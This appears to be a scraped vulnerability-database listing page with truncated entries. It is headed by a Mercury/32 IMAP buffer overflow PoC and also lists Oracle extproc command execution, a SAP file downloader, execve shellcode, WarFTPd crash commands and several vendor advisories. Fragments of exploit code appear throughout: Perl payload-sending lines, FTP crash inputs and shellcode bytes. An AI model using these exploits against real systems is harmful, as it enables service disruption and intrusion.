Mercury/32 Mail Server <= 4.01b (check) Buffer Overflow Exploit PoC

Exploit for unknown platform in category dos / poc =================================================================== Mercury/32 Mail Server Connected\n"; $buf = "1 LOGIN"." "x$LEN-$BUFLEN."\255\n"; sendSOCKET, $buf, 0; sleep$senddelay; print"- Sending payload\n"; $buf = $NOP x 255;...

Mercury/32 IMAP server buffer overflow

Buffer overflow in LOGIN command...

Mercury/32 Mail Server &lt;= 4.01b (check) Buffer Overflow Exploit PoC

No description provided by source. !/usr/bin/perl mercurypown-v1.pl Mercury/32 v4.01b win32 remote exploit by mu-b - 28 Nov 2006 - Tested on: Mercury/32 v4.01a win32 Mercury/32 v4.01b win32 Stack-based buffer overflow caused by Mercury/32 concatenating continuation data into a fixed sized buffer...

[Full-disclosure] Mercury/32 4.01b

Attached is a remote exploit disarmed PoC for Mercury/32 4.01b IMAPD. The vulnerability is located in the call:- 034646AE call sub346ECD9 which is passes as third argument the number of bytes remaining in a stack buffer in order to construct the complete command from the continuation data. Howeve...

Mercury/32 Mail Server 4.01b - &#039;check&#039; Buffer Overflow (PoC)

!/usr/bin/perl mercurypown-v1.pl Mercury/32 Connected\n"; $buf = "1 LOGIN"." "x$LEN-$BUFLEN."\255\n"; sendSOCKET, $buf, 0; sleep$senddelay; print"- Sending payload\n"; $buf = $NOP x 255; sendSOCKET, $buf, 0; sleep$senddelay; print"- Sending payload 2\n"; $buf = $NOP x $BUFLEN; sendSOCKET, $buf, 0...

SAP 'enserver.exe' file downloader

No description provided by source. !/usr/bin/perl -w SAP 'enserver.exe' file downloader Tested on "SAP Web Application Server Java 6.40" eval DVD Found & coded by Nicob The downloaded file is limited to the first 32 kilobytes Usual port : TCP/3200+SYSNR Exemple : ./r3-stealer-1.0.pl 192.168.2.22...

DTSA-32-1 bcfg2 - programming error

Bulletin has no description...

Solaris 8 (sparc) : 113886-49

The remote host is missing Sun Security Patch number 113886-49 OpenGL 1.3: OpenGL Patch for Solaris 32-bit. Date this patch was last updated by Sun : Thu Nov 13 05:03:25 MST 2008 You should install this patch for your system to be up-to-date. %NASLMINLEVEL 999999 @DEPRECATED@ This script has been...

RHEL 2.1 : kernel (RHSA-2007:0013)

Updated kernel packages that fix a number of security issues as well as other bugs are now available for Red Hat Enterprise Linux 2.1 32 bit architectures This security advisory has been rated as having moderate security impact by the Red Hat Security Response Team. The Linux kernel handles the...

[SECURITY] [DSA 1248-1] New libsoup packages fix denial of service

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 1248-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff January 12nd, 2007 http://www.debian.org/security/faq -...

WMF CreateBrushIndirect vulnerability &#40;DoS&#41;

The following WMF exploit appeared on milw0rm today: http://www.milw0rm.com/exploits/3111 The vulnerability is a result of the WMF parser passing a value from the file as a pointer argument to the CreateBrushIndirect function. The function dereferences the pointer and dies with an access violatio...

Oracle &lt;= 9i / 10g (extproc) Local/Remote Command Execution Exploit

No description provided by source. -- -- $Id: raptororaextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $ -- -- raptororaextproc.sql - command exec via oracle extproc -- Copyright c 2006 Marco Ivaldi [email protected] -- -- Directory traversal vulnerability in extproc in Oracle 9i and 10g --...

Oracle 9i/10g - &#039;extproc&#039; Local/Remote Command Execution

-- -- $Id: raptororaextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $ -- -- raptororaextproc.sql - command exec via oracle extproc -- Copyright c 2006 Marco Ivaldi -- -- Directory traversal vulnerability in extproc in Oracle 9i and 10g -- allows remote attackers to access arbitrary libraries...

KDE JPEG KFile Info插件EXIF本地拒绝服务漏洞

JPEG kfile-info插件用于多个KDE应用程序显示图象META信息。 JPEG kfile-info插件在解析图象META信息时存在问题，本地攻击者可以利用漏洞对使用此插件的应用程序进行拒绝服务攻击。 目前没有详细漏洞细节提供。 KDE KDE 3.5.5 KDE KDE 3.5.4 KDE KDE 3.5.3 KDE KDE 3.5.2 KDE KDE 3.5 KDE KDE 3.4.3 - Gentoo Linux KDE KDE 3.4.2 KDE KDE 3.4.1 + RedHat Fedora Core4 KDE KDE 3.4 KDE KDE 3.4 KDE KD...

[SECURITY] [DSA 1226-1] New links packages fix arbitrary shell command execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 1226-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff December 3rd, 2006 http://www.debian.org/security/faq -...

PSToText文件名处理shell命令执行漏洞

PSToText是一款从PostScript 和PDF档案中提取出文字的程序。 PSToText不正确处理文件名数据，远程攻击者可以利用漏洞以应用程序进程权限执行任意shell命令。 攻击者需要构建恶意文件名，诱使用户处理来触发，目前没有详细漏洞细节提供。 Debian Linux 3.1 sparc Debian Linux 3.1 s/390 Debian Linux 3.1 ppc Debian Linux 3.1 mipsel Debian Linux 3.1 mips Debian Linux 3.1 m68k Debian Linux 3.1 ia-64 Debian Lin...

WarFTPd多个命令处理远程拒绝服务漏洞

War FTP Daemon是32位Windows平台上的FTP服务器。 WarFTPd在处理多个命令的畸形参数时存在漏洞，远程攻击者可能利用此漏洞对服务器造成拒绝服务。 如果向各种命令发送了包含有两次“%s”字符的超长字符串的话，就会导致WarFTPd拒绝服务。例如，发送以下命令： $ ftp target Banner ftp quote user anonymous ftp quote pass bla ftp cwd %s256 或者： ftp cdup %s256 就会导致服务器崩溃： EAX 00000001 ECX 00000073 EDX 00000002 EBX...

Solaris 5.6 (sparc) : 110002-02

Security and other fixes for 32-bit CRE. Date this patch was last updated by Sun : Jul/10/01 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if !...

Solaris 5.7 (sparc) : 110002-02

Security and other fixes for 32-bit CRE. Date this patch was last updated by Sun : Jul/10/01 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if !...

linux/x86 execve() Diassembly Obfuscation Shellcode 32 bytes

No description provided by source. / execve shellcode with 'fuck up disasm' ability, 32 bytes long by BaCkSpAcE sinisa86atgmaildotcom BitByterz Labs 2006 http://www.bitbyterz.org ; ; shellcode.asm ; fupdisasm: db 0x68 ; opcode for PUSH DW instruction db 0xcd ; crypt+1, opcode for INT instruction ...